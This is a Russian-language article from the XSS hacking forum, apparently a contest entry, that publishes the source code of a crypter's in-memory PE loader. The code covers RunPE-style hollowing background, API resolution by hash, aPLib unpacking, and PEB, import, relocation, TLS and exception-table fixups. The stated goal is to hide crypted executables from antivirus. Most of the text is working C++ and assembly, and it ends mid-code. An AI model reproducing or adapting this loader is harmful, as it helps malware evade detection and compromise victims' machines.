• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Криптор исполняемых файлов. РЭволюция =).

Octavian

Emperor
Пользователь
Регистрация
19.03.2020
Сообщения
83
Решения
1
Реакции
265
Гарант сделки
2
Всем привет друзья!

Снова конкурс, а значит снова появился повод поделиться чем-то интересным и полезным с комьюнити.
Хочу выразить огромный респект организаторам, за то что нашли крутой способ для форума собрать классный контент, повышать репутацию форума и притянуть молодых.

В моей прошлой конкурсной статье вами были заданы вопросы про загрузчик, и я тогда ответил:
Загрузчик это отдельная интересная тема, на которую можно будет статью написать и разобрать все нюансы, такие как правильный хэндлинг TLS, ресурсов криптуемого приложения, обработку импорта, экспорта и т.д..
Еще на отдельную тему тянет статья по антиэмуляции (генератору уникальных антиэмуляторов, привет инде :D). В крипторе есть задел в завязывании генерируемого кода на магические переменные, результат которых отдают антиэмуляторы.
Об этом тоже есть что рассказать, может как нибудь в другой раз.

Сказано - сделано.

hidden_code_1508778570.jpg


Загрузчик это действительно отдельная, интересная тема, к которой нужно подойти основательно и расставить все точки над i.
Проект криптора, описанный в прошлой статье, содержит уже откомпилированные версии шеллкодов загрузчика в память, без исходного кода.
В этой статье я поделюсь с вами его полным исходным кодом, опишу что он делает и как происходит обработка и мэппинг файла в память в нюансах.
Мы поговорим о том, чем это решение отличается от системного загрузчика, посмотрим относительно кода системного загрузчика в XP.
Порассуждаем о пользе прямого мэппинга в памяти перед инжектами, такими как RunPE и иже с ними.

Немного предыстории:
Появившийся как концепт, способ загрузки RunPE был практически идеальным решением загрузки бинарика в память на рубеже 08-12гг.
Тогда антивирусы еще относительно плохо умели хучить вызовы и перехватывать управление вновь созданного процесса, проверяя его контекст.
По сути проактивные системы проходили своё становление как самостоятельные технологии и во главе угла стояли сигнатурный и эвристические
алгоритмы обнаружения крипторов.

Принцип работы RunPE достаточно прост:
Стаб
(контейнер криптованного файла) пораждает новый приостановленный процесс через CreateProcess с флагом CREATE_SUSPENDED,
получает контекст главного потока через GetThreadContext, после чего приостановленный процесс анмепится с помощью NtUnmapViewOfSection
и по адресу ImageBase выделяется память через VirtualAllocEx с флагом PAGE_EXECUTE_READWRITE.
Далее в выделенную память через WriteProcessMemory записываются хидер криптованного файла и секции.
Финальные штрихи это установка нового контекста на точку входа для главного потока через SetThreadContext и восстановление
приостановленного потока через ResumeThread.

Для поддержки x64 файлов в RunPE требовалось совершить минимум изменений с учетом смещений и регистров (eax\rax, ebx\rbx и т.д.) и вот уже готова полноценная поддержка х64 файлов.
В целом история с RunPE довольно простая, очень стабильная и хорошо отрабатывающая практически любые типы нативных PE файлов, будь то хитрые
заглушки в TLS, аномальные заголовоки, упакованные файлы и т.д.


Одна беда - технологию с того времени так затерли до дыр, что любой уважающий себя антивирус научился определять этот способ загрузки в память,
что напрочь отменяло бы саму идею сокрытия криптуемого файла от антивирусов. С появлением механизмов сканирования памяти эта технология окончательно умерла.


Есть еще промежуточные способы загрузки в память, я отнесу их к RunPE-подобным и назову их инжектами. В данной статье их рассматривать я не буду.

LoadPE:
Первые попытки нативной (почему нативной - опишу ниже) загрузки бинарного файла в память (в паблике) выкладывал покойный Great, как раз на дамаге и на васме.
Те наработки хоть и отражали суть концепции, хотя и работали кое как, но умели обрабатывать только ограниченное количество самых стандартных PE файлов.
Любые отклонения от эталонного PE формата - и загрузка такого файла в память фейлилась.
Позже свои наработки отрывками выкладывал el-, тоже на дамаге.

Многие "мастера" не стали заморачиваться со своим кодом и рипнули загрузчик с криптованных семплов, тупо вставив в свой криптор, мол ведь и так работает.
Ну а некоторым, как мне, захотелось разобраться в сути технологии и написать своё решение, которое было бы способно обрабатывать доминирующее большинство PE файлов,
с учетом разных хитрых, нестандартных техник, поддерживающее как 86 так и 64 архитектуры PE формата.
И вот на базе этих наработок и путем долгих реверсов оригинального загрузчика винды, технология нативной загрузки в память шлифовалась, пока не выкатилось готовое решение.

Почему я называю этот способ нативным? Да потому, что в отличие от незамысловатого RunPE, в LoadPE нам нужно руками воспроизводить действия, которые обычно выполняет
сам загрузчик винды.


Рассмотрим механизм, который используется в нативном загрузчике винды:

В основе загрузки любого модуля лежит функция LoadLibrary, точнее её более низкоуровневые функции из ntdll, такие как LdrLoadDll и LdrpLoadDll.
C++:
NTSTATUS
LdrpInitializeProcess (
    IN PCONTEXT Context OPTIONAL,
    IN PVOID SystemDllBase,
    IN PUNICODE_STRING UnicodeImageName,
    IN BOOLEAN UseCOR,
    IN BOOLEAN ImageFileOptionsPresent
    )

/*++

Routine Description:

    This function initializes the loader for the process.
    This includes:

        - Initializing the loader data table

        - Connecting to the loader subsystem

        - Initializing all staticly linked DLLs

Arguments:

    Context - Supplies an optional context buffer that will be restore
              after all DLL initialization has been completed.  If this
              parameter is NULL then this is a dynamic snap of this module.
              Otherwise this is a static snap prior to the user process
              gaining control.

    SystemDllBase - Supplies the base address of the system dll.

    UnicodeImageName - Base name + extension of the image

    UseCOR - TRUE if the image is a COM+ runtime image, FALSE otherwise

    ImageFileOptionsPresent - Hint about existing any ImageFileExecutionOption key.
            If the key is missing the ApplicationCompatibilityGoo and
            DebugProcessHeapOnly entries won't be checked again.

Return Value:

    Status value

--*/


NTSTATUS
NTAPI
LdrpLoadDll(
    ULONG Flags OPTIONAL,
    IN PWSTR DllPath OPTIONAL,
    IN PULONG DllCharacteristics OPTIONAL,
    IN PUNICODE_STRING DllName,
    OUT PVOID *DllHandle,
    IN BOOLEAN RunInitRoutines
    )


/*++

Routine Description:

    This function loads a DLL into the calling process address space.

Arguments:

    DllPath - Supplies the search path to be used to locate the DLL.

    DllCharacteristics - Supplies an optional DLL characteristics flag,
        that if specified is used to match against the dll being loaded.

    DllName - Supplies the name of the DLL to load.

    DllHandle - Returns a handle to the loaded DLL.

Return Value:

    TBD

--*/

NTSTATUS
LdrpMapDll(
    IN PWSTR DllPath OPTIONAL,
    IN PWSTR DllName,
    IN PULONG DllCharacteristics OPTIONAL,
    IN BOOLEAN StaticLink,
    IN BOOLEAN Redirected,
    OUT PLDR_DATA_TABLE_ENTRY *LdrDataTableEntry
    )

/*++

Routine Description:

    This routine maps the DLL into the users address space.

Arguments:

    DllPath - Supplies an optional search path to be used to locate the DLL.

    DllName - Supplies the name of the DLL to load.

    StaticLink - TRUE if this DLL has a static link to it.

    LdrDataTableEntry - Supplies the address of the data table entry.

Return Value:

    Status value.

--*/

Настоятельно советую ознакомиться с полным кодом этих функций. Дабы вы не искали в моменте, я также выложу его далее,
чтобы не засорять основной посыл данной статьи.

Для тех, кто всё же хочет в подробностях изучить этот механизм в оригинале, можете найти код в файлах ...\base\ntdll\ldrinit.c, ...\base\ntdll\ldrapi.c и ...\base\ntdll\ldrsnap.c
Как можно увидеть, винда делает просто кучу дополнительных манипуляций при загрузке файла, дополнительные проверки, обработку всего и вся и в том числе нотификацию
о событиях.


Моя реализация выглядит гораздо проще, но от этого не менее эффективная и минимальный необходимый набор действий она выполняет.
А еще она после компляции весит чуть более 2 кб :)

Ок, давайте взглянем на мой загрузчик:
Он поддерживает x86\x64 PE файлы, как EXE так и DLL, а еще гибридные, которые одновеменно и EXE и DLL.
Умеет хэндлить ActCtx, SEH, стартап код, анпакинг с помощью aplib, восстанавливать Tls колбеки и многое другое.
Участки, отвечающие за обработку x64 PE обрамлены в соотвествующие дефайны #ifdef _WIN64.

C++:
VOID WINAPI pe2mem(PPE_LOADER_PARAMS params)
{
    DWORD_PTR Base = params->base;

    PIMAGE_NT_HEADERS pNt = ((PIMAGE_NT_HEADERS)((DWORD_PTR)Base + ((PIMAGE_DOS_HEADER)Base)->e_lfanew));

    BOOL  IsImageDll = (pNt->FileHeader.Characteristics & IMAGE_FILE_DLL) ? TRUE : FALSE; // for hybrids, our exe may be dll, we must restore how exe, but fix peb how dll
    DWORD SizeOfBase = pNt->OptionalHeader.SizeOfImage;
pe2mem - основная функция загрузчика, принимает единственный параметр PPE_LOADER_PARAMS params.
В pNt читаем NtHeaders криптованного файла
В Base у нас адрес, по которому нужно загрузить файл.
В IsImageDll мы определяем, читая Characteristics какой файл перед нами EXE или DLL. (Это позволяет обрабатывать файлы тансформеры).
В SizeOfBase соотвественно размер образа.

Вот эта структура:
C++:
typedef struct _PE_LOADER_PARAMS
{
    DWORD_PTR    base; // ImageBase
    PVOID        file; // Pointer to file buffer
    DWORD        file_size; // File size
    DWORD        flags; // Additional flags
}PE_LOADER_PARAMS, *PPE_LOADER_PARAMS;
Думаю и так ясно что она делает, передаёт ImageBase, буфер файла, его размер и дополнительные параметры.

C++:
#ifndef _WIN64
    DWORD PrologLocalVarsSize = 0;

    if( !(params->flags & PE_LDR_FLAG_NOT_STUB) )
    {
        //find c++ seh_prolog4
        PBYTE pScan = (PBYTE)((DWORD_PTR)Base + pNt->OptionalHeader.AddressOfEntryPoint);
        for(int i = 0; i < 30; i++ )
        {
            if( *pScan==0xE9 && *(PWORD)(pScan + 3)==0xFFFF ) //  E9 9F FD FF FF jmp     __DllMainCRTStartup (exe)
                break;

            if( *pScan==0xE8 && *(PWORD)(pScan + 3)==0xFFFF ) //  E8 9F FD FF FF call     __DllMainCRTStartup (dll)
                break;

            pScan++;
        }

        if( *pScan!=0xE9 && *pScan!=0xE8 )
            return;

        pScan = (PBYTE)((INT_PTR)pScan + 5 + *(PINT_PTR)(pScan + 1)); // __DllMainCRTStartup
        if( *pScan==0x6A )
        {
            PrologLocalVarsSize = *(pScan + 1);
        }else if( *pScan==0x68 )
        {
            PrologLocalVarsSize = *(PDWORD)(pScan + 1);
        }else{
            return ;
        }
    }
#endif
Данный участок кода это такой лайфхак.
Если ваш стаб имеет код инициализации (т.н. startup код), у вас практически гарантированно возникнут проблемы на этом этапе.
Данный код позволяет проскипать пролог и получить его итоговый размер.
Нужно учитывать, что для каждой версии стартап кода сигнатура может отличаться. Данная реализация покрывает версии студий VC2008, VC2010.


C++:
    PEB* Peb  = GET_PEB();

    PLDR_DATA_TABLE_ENTRY Entry = (PLDR_DATA_TABLE_ENTRY)Peb->Ldr->InInitializationOrderModuleList.Flink;
    Entry = CONTAINING_RECORD(Entry,LDR_DATA_TABLE_ENTRY,InInitializationOrderLinks);

    DWORD_PTR Ntdll = (DWORD_PTR)Entry->DllBase;
    DWORD_PTR NtdllEnds = Ntdll + Entry->SizeOfImage;

    // kernelbase ?
    while( hash_stringW(Entry->BaseDllName.Buffer)!=HASH_KERNEL32_DLL )
    {
        Entry = (PLDR_DATA_TABLE_ENTRY)Entry->InInitializationOrderLinks.Flink;
        Entry = CONTAINING_RECORD(Entry,LDR_DATA_TABLE_ENTRY,InInitializationOrderLinks);
    }

    DWORD_PTR Kernel32 = (DWORD_PTR)Entry->DllBase;
    DWORD_PTR Kernel32Ends = Kernel32 + Entry->SizeOfImage;

    KernelProcs kprocs = {
        (TD_GetProcAddress)HASH_GetProcAddress,
        (TD_VirtualAlloc)HASH_VirtualAlloc,
        (TD_LoadLibraryA)HASH_LoadLibraryA,
        (TD_VirtualProtect)HASH_VirtualProtect,
        (TD_VirtualFree)HASH_VirtualFree,
        (TD_ActivateActCtx)HASH_ActivateActCtx,
        (TD_CreateActCtxA)HASH_CreateActCtxA,
        (TD_TlsAlloc)HASH_TlsAlloc,
        (TD_TlsSetValue)HASH_TlsSetValue,
        (TD_FlsFree)HASH_FlsFree,
        (TD_RtlAddFunctionTable)HASH_RtlAddFunctionTable,
        (TD_RtlDeleteFunctionTable)HASH_RtlDeleteFunctionTable,
        (TD_AcquireSRWLockShared)HASH_AcquireSRWLockShared,
        NULL
    };

    for(int i = 0; i < sizeof(KernelProcs)/sizeof(DWORD_PTR); i++)
    {
        *((PDWORD_PTR)&kprocs + i) = (DWORD_PTR)hash_find_proc((PVOID)Kernel32,*((PDWORD_PTR)&kprocs + i));
    }
В этом участке кода мы получаем указатель на Peb, узнаем адреса модулей NTDLL и KERNEL32.
Далее мы находим указатели на необходимые WinAPI функции по их хэшам, и заполняем структуру KernelProcs.
hash_find_proc позволяет по хэшу от строки найти функцию.

C++:
DWORD API_CALL hash_string(PCHAR String,BOOL IsUnicode)
{
    DWORD i;
    DWORD Result = 0;

    if( String )
    {
        for(i=0; *String ;i++)
        {
            Result = _rotl(Result,3);
            Result ^= ( *String>='A' && *String<='Z' ? *String | 0x20 : *String );
            String++;
            if( IsUnicode )
                String++;
        }

        Result &= ~IMAGE_ORDINAL_FLAG32;
    }

    return Result;
}
Данная функция позволяет хэшировать строку, в том числе юникодную, на выходе получить DWORD от этой строки.

C++:
    __debugbreak();

    PVOID SavedFile = kprocs.VirtualAlloc(NULL,params->file_size,MEM_COMMIT,PAGE_READWRITE);
    if( SavedFile )
    {
        if( params->flags & PE_LDR_FLAG_USE_APLIB )
        {
            aplib_depack_fast(params->file, SavedFile);
        }else{
            mem_copy(SavedFile,params->file,params->file_size);
        }

        PIMAGE_DOS_HEADER pDos;
        PIMAGE_NT_HEADERS pNt;

        // free fls data
        if( !(params->flags & PE_LDR_FLAG_NOT_STUB) && Peb->OSMajorVersion > 5 )
        {
            DWORD Count = Peb->FlsCount;
            for(int i = 0; i <= Count; i++)
            {
                __debugbreak();
                if( IN_DLL(Peb->FlsCallbacks[i].Base,Base,Base + SizeOfBase) )
                {
                    kprocs.FlsFree(i);
                }
            }
        }
В SavedFile выделям память в размере file_size.
Проверяем флаги, если PE_LDR_FLAG_USE_APLIB, то используем распаковку буфера с помощью алгоритма aPlib_depack.
Если в флаги не передан PE_LDR_FLAG_NOT_STUB и Peb->OSMajorVersion > 5, то пересчитываем Fls колбеки соответствующим образом.

Код:
aplib_depack_fast proc a:DWORD, b:DWORD
    ; aP_depack_asm_fast(const void *source, void *destination)

    mov    [rsp + 8], rsi
    mov    [rsp + 16], rdx
    push   rdi

    mov    rsi, rcx
    mov    rdi, rdx

    cld
    mov    dl, 80h

literal:
    mov    al, [rsi]
    add    rsi, 1
    mov    [rdi], al
    add    rdi, 1

    mov    r9, 2

nexttag:
    getbitM
    jnc    literal

    getbitM
    jnc    codepair

    xor    rax, rax
    getbitM
    jnc    shortmatch

    getbitM
    adc    rax, rax
    getbitM
    adc    rax, rax
    getbitM
    adc    rax, rax
    getbitM
    adc    rax, rax
    jz     thewrite

    mov    r9, rdi
    sub    r9, rax
    mov    al, [r9]

thewrite:
    mov    [rdi], al
    add    rdi, 1

    mov    r9, 2
    jmp    short nexttag

codepair:
    getgammaM rax
    sub    rax, r9
    mov    r9, 1
    jnz    normalcodepair

    getgammaM rcx
    domatchM r8

    jmp    nexttag

normalcodepair:
    add    rax, -1

    shl    rax, 8
    mov    al, [rsi]
    add    rsi, 1

    mov    r8, rax

    getgammaM rcx

    cmp    rax, 32000
    sbb    rcx, -1

    cmp    rax, 1280
    sbb    rcx, -1

    cmp    rax, 128
    adc    rcx, 0

    cmp    rax, 128
    adc    rcx, 0

    domatchM rax
    jmp    nexttag

shortmatch:
    mov    al, [rsi]
    add    rsi, 1

    xor    rcx, rcx
    db     0c0h, 0e8h, 001h
    jz     donedepacking

    adc    rcx, 2

    mov    r8, rax

    domatchM rax

    mov    r9, 1
    jmp    nexttag

donedepacking:
    mov    rax, rdi
    sub    rax, [rsp + 24]

    mov    rsi, [rsp + 16]
    pop    rdi

    ret
aplib_depack_fast endp
Алгоритм распаковки буфера aPlib_depack.

C++:
#ifdef _WIN64
        pDos = (PIMAGE_DOS_HEADER)Base;
        pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);

        DWORD_PTR SaveRegs[r_all];

        mem_zero(SaveRegs,sizeof(DWORD_PTR)*r_all);

        __debugbreak();
        PDWORD_PTR Rsp = (PDWORD_PTR)get_return();
        while( !IN_DLL(*Rsp,Kernel32,Kernel32Ends) && !IN_DLL(*Rsp,Ntdll,NtdllEnds) )
        {
            Rsp = find_next_rsp(SaveRegs,Rsp);
        }

#endif
В случае, если мы собраны под x64, находим Rsp.

C++:
        pDos = (PIMAGE_DOS_HEADER)SavedFile;
        pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);

        DWORD OldProtection;

        __debugbreak();

        if( kprocs.VirtualProtect((PVOID)Base,pNt->OptionalHeader.SizeOfImage,PAGE_EXECUTE_READWRITE,&OldProtection) )
        {
            PVOID NewImageBase = (PVOID)Base;

            mem_set(NewImageBase,0,pNt->OptionalHeader.SizeOfImage); // bugfix: must be NULL where not writed something

            mem_copy(NewImageBase, pDos, pNt->OptionalHeader.SizeOfHeaders);

            PIMAGE_SECTION_HEADER Sections = IMAGE_FIRST_SECTION(pNt);

            for (INT i = 0; i < pNt->FileHeader.NumberOfSections; i++)
            {
                mem_copy((PVOID)((DWORD_PTR)NewImageBase + Sections->VirtualAddress), (PVOID)((DWORD_PTR)pDos + Sections->PointerToRawData), Sections->SizeOfRawData);
                Sections++;
            }

            PIMAGE_DOS_HEADER pNewDos = (PIMAGE_DOS_HEADER)NewImageBase;
            PIMAGE_NT_HEADERS pNewNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pNewDos + pNewDos->e_lfanew);

            process_peb(NewImageBase,IsImageDll,(PVOID)Base);
            process_resource(&kprocs,NewImageBase); //bugfix: manifest must be processed first, and other dll may be after that, or import may fail call [NULL]
            process_import(&kprocs,NewImageBase);
            process_relocs(NewImageBase); //
            process_tls(&kprocs,NewImageBase); // tls must be after relocs, because they fix StartDataAddress and other info
В данном участке кода мы получаем указатели на DOS и Nt заголовки.
Меняем аттрибуты выделенной памяти на PAGE_EXECUTE_READWRITE.
Копируем заголовки, секции.
Обрабатываем Peb.
Обрабатываем ресурсы.
Обрабатываем импорт.
Обрабатываем релоки.
Обрабатываем TLS.


C++:
VOID __fastcall process_peb(PVOID ImageData,BOOL IsImageDll,PVOID OldImageBase)
{
    PEB* Peb = GET_PEB();

    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ImageData;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);

    if( !IsImageDll )
    {
        Peb->ImageBaseAddress = (DWORD_PTR)ImageData;
    }

    PLDR_DATA_TABLE_ENTRY Entry = (PLDR_DATA_TABLE_ENTRY)Peb->Ldr->InMemoryOrderModuleList.Flink;
    while( Entry!= (PLDR_DATA_TABLE_ENTRY)&Peb->Ldr->InMemoryOrderModuleList )
    {
        Entry = CONTAINING_RECORD(Entry,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks);

        if( Entry->DllBase==OldImageBase )
        {
            Entry->DllBase = ImageData;
            Entry->EntryPoint = (PVOID)((DWORD_PTR)pDos + pNt->OptionalHeader.AddressOfEntryPoint);
            Entry->SizeOfImage = pNt->OptionalHeader.SizeOfImage;

            break;
        }

        Entry = (PLDR_DATA_TABLE_ENTRY)Entry->InMemoryOrderLinks.Flink;
    }
}
Обрабатываем Peb.

C++:
VOID __fastcall process_resource(KernelProcs* Procs,PVOID ImageData)
{
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ImageData;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);

    PIMAGE_RESOURCE_DIRECTORY Resource = (PIMAGE_RESOURCE_DIRECTORY)((DWORD_PTR)pDos + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress);

    if (Resource!=(PIMAGE_RESOURCE_DIRECTORY)pDos)
    {
        CHAR Name[8];
        ULONG_PTR Cookie;

        *(PDWORD)Name = 'a';

        ACTCTXA Ctx;

        Ctx.cbSize = sizeof(ACTCTXA);
        Ctx.dwFlags = ACTCTX_FLAG_HMODULE_VALID | ACTCTX_FLAG_RESOURCE_NAME_VALID;
        Ctx.lpResourceName = MAKEINTRESOURCEA(1);
        Ctx.lpSource = Name;
        Ctx.wProcessorArchitecture = 0;
        Ctx.lpAssemblyDirectory = NULL;
        Ctx.lpApplicationName = NULL;
        Ctx.hModule = (HMODULE)ImageData;

        HANDLE hCtx = Procs->CreateActCtxA(&Ctx);
        if( hCtx!=INVALID_HANDLE_VALUE )
        {
            Procs->ActivateActCtx(hCtx,&Cookie);
        }
    }
}
Обрабатываем ресурсы тушки.
Тут важный момент - activation context . Начиная с 7ки в винде в ресурсах появилось понятие manifest или RESID=24. Это нужно в том числе для правильной работы UAC.
Эта функция правильным образом хэндлит такие ресурсы. Читать подробнее тут.
Microsoft.Windows.ActCtx object
The Microsoft.Windows.ActCtx object references manifests and provides a way for scripting engines to access side-by-side assemblies. The Microsoft.Windows.ActCtx object can be used to create an instance of a side-by-side assembly with COM components.
The Microsoft.Windows.ActCtx object comes as an assembly in Windows Server 2003. It can also be installed by applications that use the Windows Installer for setup and include it as a merge module in their installation package.

C++:
VOID __fastcall process_import(KernelProcs *Procs,PVOID ImageData)
{
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ImageData;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);

    PIMAGE_IMPORT_DESCRIPTOR Import = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)pDos + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    if (Import!=(PIMAGE_IMPORT_DESCRIPTOR)pDos)
    {
        while (Import->Name != 0)
        {
            PCHAR DllName = (PCHAR)((DWORD_PTR)pDos + Import->Name);

            HMODULE Dll = Procs->LoadLibraryA(DllName);

            if (!Dll)
                return ;

            PDWORD_PTR pImport = (Import->OriginalFirstThunk ? (PDWORD_PTR)((DWORD_PTR)pDos + Import->OriginalFirstThunk) : (PDWORD_PTR)((DWORD_PTR)pDos + Import->FirstThunk));
            PDWORD_PTR pAddress = (PDWORD_PTR)((DWORD_PTR)pDos + Import->FirstThunk);

            while (*pImport)
            {
                DWORD_PTR FuncAddress = NULL;

#ifdef _WIN64
                if ((*pImport & IMAGE_ORDINAL_FLAG64)) // ordinal
#else
                if ((*pImport & IMAGE_ORDINAL_FLAG32)) // ordinal
#endif
                {
                    DWORD_PTR Ordinal = (*pImport & 0xFFFF);

                    FuncAddress = (DWORD_PTR)Procs->GetProcAddress(Dll, (PCHAR)Ordinal);
                }else{
                    PCHAR FuncName = (PCHAR)((DWORD_PTR)pDos + *pImport + 2);

                    FuncAddress = (DWORD_PTR)Procs->GetProcAddress(Dll, FuncName);
                }

                *pAddress++ = FuncAddress;

                pImport++;
            }

            Import++;
        }
    }
}
Обрабатываем таблицу импорта тушки.
В том числе и по ординалу для всяких модулей вроде comctl32 и прочих.
Многие делают это не совсем правильно. Вот правильный вариант.

C++:
VOID __fastcall process_relocs(PVOID ImageData)
{
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ImageData;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);

    PIMAGE_BASE_RELOCATION BaseRelocs = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)pDos + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);

    INT_PTR Delta;

    if (BaseRelocs!=(PIMAGE_BASE_RELOCATION)pDos)
    {
        PIMAGE_BASE_RELOCATION Reloc = BaseRelocs;

        Delta = (INT_PTR)ImageData - pNt->OptionalHeader.ImageBase;

        do
        {
            PIMAGE_FIXUP_ENTRY Fixup = (PIMAGE_FIXUP_ENTRY)((DWORD_PTR)Reloc + sizeof(IMAGE_BASE_RELOCATION));
            for (int r = 0, sz = (Reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1; r < sz; r++)
            {
                if (Fixup->Type == IMAGE_REL_BASED_HIGHLOW)
                {
                    *(PINT)((DWORD_PTR)pDos + Reloc->VirtualAddress + Fixup->Offset) += Delta;
                }else if (Fixup->Type==IMAGE_REL_BASED_DIR64)
                {
                    if(Reloc->VirtualAddress + Fixup->Offset==0x63D88 )
                    {
                        Delta = (INT)ImageData - pNt->OptionalHeader.ImageBase;
                    }
                    *(PINT_PTR)((DWORD_PTR)pDos + Reloc->VirtualAddress + Fixup->Offset) += Delta;
                }

                Fixup++;
            }

            Reloc = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)Reloc + Reloc->SizeOfBlock);
        } while (Reloc->VirtualAddress);
    }
}
Обрабатываем таблицу смещений.

C++:
VOID __fastcall process_tls(KernelProcs* Procs,PVOID ImageData)
{
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ImageData;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);

    PIMAGE_TLS_DIRECTORY Tls = (PIMAGE_TLS_DIRECTORY)((DWORD_PTR)pDos + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);

    if( Tls!=(PIMAGE_TLS_DIRECTORY)pDos )
    {
        PBYTE pTlsData = (PBYTE)Procs->VirtualAlloc(NULL,Tls->EndAddressOfRawData - Tls->StartAddressOfRawData,MEM_COMMIT,PAGE_READWRITE);

        if( pTlsData )
        {
            mem_copy(pTlsData,Tls->StartAddressOfRawData,Tls->EndAddressOfRawData - Tls->StartAddressOfRawData);

            Procs->TlsSetValue(Procs->TlsAlloc(),pTlsData);

            PDWORD_PTR Ptrs = (PDWORD_PTR)Procs->VirtualAlloc(NULL,1088*sizeof(DWORD_PTR),MEM_COMMIT,PAGE_READWRITE);
            if( Ptrs )
            {
                if( *(PDWORD_PTR)Tls->AddressOfIndex==-1 )
                {
                    Ptrs[0] = (DWORD_PTR)pTlsData;
                }else{
                    Ptrs[ *(PDWORD_PTR)Tls->AddressOfIndex ] = (DWORD_PTR)pTlsData;
                }

                // http://svn.netlabs.org/repos/libc/trunk/libc/include/klibc/nt/fib.h
#ifdef _WIN64
                __writegsqword(0x58,(DWORD_PTR)Ptrs);
#else
                __writefsdword(0x2C,(DWORD_PTR)Ptrs);
#endif
            }
        }
    }
}
Обрабатываем TLS колбеки.
На неумении обрабатывать TLS сыпятся очень многие крипторы.
Эта функция обрабатывает основные типы TLS колбеков и таким образом многократно увеличивает покрытие файлов с TLS.

C++:
#ifdef _WIN64
            PIMAGE_DOS_HEADER pNtdllDos = (PIMAGE_DOS_HEADER)Ntdll;
            PIMAGE_NT_HEADERS pNtdllNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pNtdllDos + pNtdllDos->e_lfanew);

            PIMAGE_SECTION_HEADER pTextSection = IMAGE_FIRST_SECTION(pNtdllNt);

            PVOID LdrpInvertedFunctionTable = NULL;

            PBYTE stext = (PBYTE)((DWORD_PTR)pNtdllDos + pTextSection->VirtualAddress);
            for(int i = 0; i < pTextSection->Misc.VirtualSize; i++)
            {
                if( *(stext + i)==0xE8 )
                {
                    DWORD_PTR Address = (DWORD_PTR)((INT_PTR)stext + i + 5 + *(PINT32)(stext + i + 1));
                    if( Address==(DWORD_PTR)kprocs.AcquireSRWLockShared )
                    {
                        PBYTE pMov = stext + i + 5;
                        PBYTE pStart = pMov;

                        if( *pMov==0x44 ) pMov++; // mov r9d
                        if( *pMov==0x8B )
                        {
                            pMov++;

                            if( *pMov==0x0D || *pMov==0x15 )
                            {
                                pMov++;

                                LdrpInvertedFunctionTable = (PVOID)((INT_PTR)pStart + (pMov - (stext + i + 5)) + 4 + *(PINT32)pMov);
                                break;
                            }
                        }
                    }
                }
            }
Тут снова важный момент. Подробнее тут.
Цитата с хабра: RWLock — это такой примитив синхронизации, позволяющий одновременное чтение и эксклюзивную запись. Т.е. чтение блокирует запись, но не блокирует чтение других тредов, а запись блокирует все.
Обработка секции кода с помощью AcquireSRWLockShared, чтобы правильно готовить синхронизацию на чтение и запись.

C++:
            __debugbreak();

            if( LdrpInvertedFunctionTable )
            {
                __debugbreak();
                if( Peb->OSMajorVersion==6 && Peb->OSMinorVersion > 1 ) // 8++
                {
                    PRTL_INVERTED_FUNCTION_TABLE8 table = (PRTL_INVERTED_FUNCTION_TABLE8)LdrpInvertedFunctionTable;
                    for(int i = 0; i < table->Count; i++)
                    {
                        if( table->Entries[i].ImageBase==(PVOID)Base )
                        {
                            table->Entries[i].ImageBase = NewImageBase;
                            table->Entries[i].ImageSize = pNewNt->OptionalHeader.SizeOfImage;
                            table->Entries[i].ExceptionDirectory = (PIMAGE_RUNTIME_FUNCTION_ENTRY)((DWORD_PTR)NewImageBase + pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress);
                            table->Entries[i].ExceptionDirectorySize = pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;
                            break;
                        }
                    }
                }else{ // < 7
                    PRTL_INVERTED_FUNCTION_TABLE7 table = (PRTL_INVERTED_FUNCTION_TABLE7)LdrpInvertedFunctionTable;
                    for(int i = 0; i < table->Count; i++)
                    {
                        if( table->Entries[i].ImageBase==(PVOID)Base )
                        {
                            table->Entries[i].ImageBase = NewImageBase;
                            table->Entries[i].ImageSize = pNewNt->OptionalHeader.SizeOfImage;
                            table->Entries[i].ExceptionDirectory = (PIMAGE_RUNTIME_FUNCTION_ENTRY)((DWORD_PTR)NewImageBase + pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress);
                            table->Entries[i].ExceptionDirectorySize = pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;
                            break;
                        }
                    }
                }
            }
#endif
Правильная обработка таблицы исключений для Peb->OSMajorVersion==6 && Peb->OSMinorVersion > 1 // 8++.

C++:
#ifndef _WIN64

